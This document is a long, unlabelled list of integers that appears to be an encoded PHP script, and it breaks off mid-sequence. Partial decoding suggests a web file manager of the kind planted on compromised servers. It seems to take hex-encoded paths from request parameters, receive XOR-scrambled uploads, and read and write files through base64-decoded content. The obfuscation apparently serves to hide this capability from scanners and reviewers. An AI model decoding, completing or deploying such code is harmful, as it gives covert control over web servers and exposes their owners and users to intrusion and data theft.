78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 39, 29, 93, 87, 82, 75, 94, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 39, 20, 29, 72, 94, 92, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 20, 20, 17, 96, 99, 20, 102, 16, 18, 20, 17, 96, 99, 20, 102, 16, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 25, 6, 25, 29, 86, 96, 10, 102, 0, 25, 29, 72, 81, 90, 87, 94, 25, 6, 25, 29, 86, 96, 23, 102, 0, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 8, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 20, 28, 25, 19, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 25, 19, 25, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 20, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 20, 20, 28, 25, 19, 25, 29, 72, 94, 87, 75, 94, 87, 25, 19, 25, 28, 20, 28, 25, 19, 25, 29, 72, 81, 90, 87, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 73, 18, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 17, 29, 73, 90, 87, 77, 72, 96, 9, 102, 25, 4, 4, 25, 28, 28, 18, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 92, 25, 6, 6, 6, 25, 28, 28, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 20, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 29, 93, 90, 77, 90, 21, 25, 82, 83, 77, 25, 29, 88, 84, 93, 94, 25, 6, 25, 23, 9, 9, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 81, 77, 77, 73, 100, 87, 94, 72, 73, 84, 83, 72, 94, 100, 88, 84, 93, 94, 17, 29, 88, 84, 93, 94, 18, 0, 54, 63, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 17, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 15, 25, 90, 73, 73, 85, 82, 88, 90, 77, 82, 84, 83, 20, 95, 72, 84, 83, 0, 25, 88, 81, 90, 87, 72, 94, 77, 6, 110, 109, 123, 22, 1, 28, 18, 0, 54, 63, 25, 25, 25, 25, 94, 88, 81, 84, 25, 95, 72, 84, 83, 100, 94, 83, 88, 84, 93, 94, 17, 29, 93, 90, 77, 90, 18, 0, 54, 63, 25, 25, 25, 25, 94, 65, 82, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 83, 90, 80, 65, 83, 25, 91, 87, 84, 86, 25, 105, 116, 104, 109, 20, 124, 126, 109, 21, 25, 88, 85, 90, 86, 73, 25, 77, 84, 25, 87, 84, 84, 77, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 88, 84, 93, 94, 93, 25, 6, 25, 29, 87, 90, 76, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 17, 72, 77, 87, 82, 83, 92, 18, 29, 87, 90, 76, 18, 25, 15, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 93, 94, 88, 84, 93, 94, 93, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 29, 87, 84, 84, 77, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 72, 84, 85, 75, 94, 93, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 97, 116, 119, 22, 72, 77, 87, 94, 90, 86, 25, 17, 87, 90, 76, 25, 105, 116, 104, 109, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 82, 83, 21, 25, 29, 84, 78, 77, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 82, 83, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 82, 83, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 17, 29, 82, 83, 93, 94, 65, 25, 31, 25, 10, 12, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 17, 29, 82, 83, 93, 94, 65, 25, 16, 25, 23, 18, 25, 31, 25, 73, 82, 17, 18, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 76, 87, 82, 77, 94, 17, 29, 84, 78, 77, 21, 25, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 80, 94, 66, 25, 17, 85, 84, 92, 10, 9, 25, 16, 25, 81, 94, 65, 93, 94, 88, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 82, 83, 77, 25, 29, 82, 18, 15, 25, 82, 83, 77, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 25, 6, 25, 93, 94, 88, 81, 94, 65, 17, 17, 29, 82, 25, 31, 25, 8, 10, 25, 16, 25, 12, 18, 25, 27, 25, 9, 65, 123, 123, 123, 123, 123, 123, 123, 123, 18, 0, 54, 63, 25, 25, 25, 25, 29, 85, 90, 72, 77, 23, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 81, 21, 25, 22, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 81, 65, 25, 6, 25, 81, 94, 65, 93, 94, 88, 17, 29, 85, 90, 72, 77, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 80, 25, 6, 25, 17, 29, 81, 65, 25, 99, 25, 17, 29, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 10, 9, 17, 29, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 80, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 119, 126, 122, 125, 25, 17, 73, 85, 90, 82, 83, 18, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 91, 82, 85, 94, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 91, 82, 85, 94, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 91, 81, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 91, 81, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 19, 6, 25, 29, 88, 81, 78, 83, 80, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 104, 122, 107, 126, 25, 73, 90, 77, 81, 72, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 103, 90, 72, 94, 11, 13, 100, 93, 94, 88, 84, 93, 94, 17, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 77, 87, 78, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 90, 76, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 87, 90, 76, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 87, 90, 76, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 94, 83, 88, 84, 93, 94, 93, 25, 6, 25, 72, 77, 87, 82, 73, 72, 85, 90, 72, 81, 94, 72, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 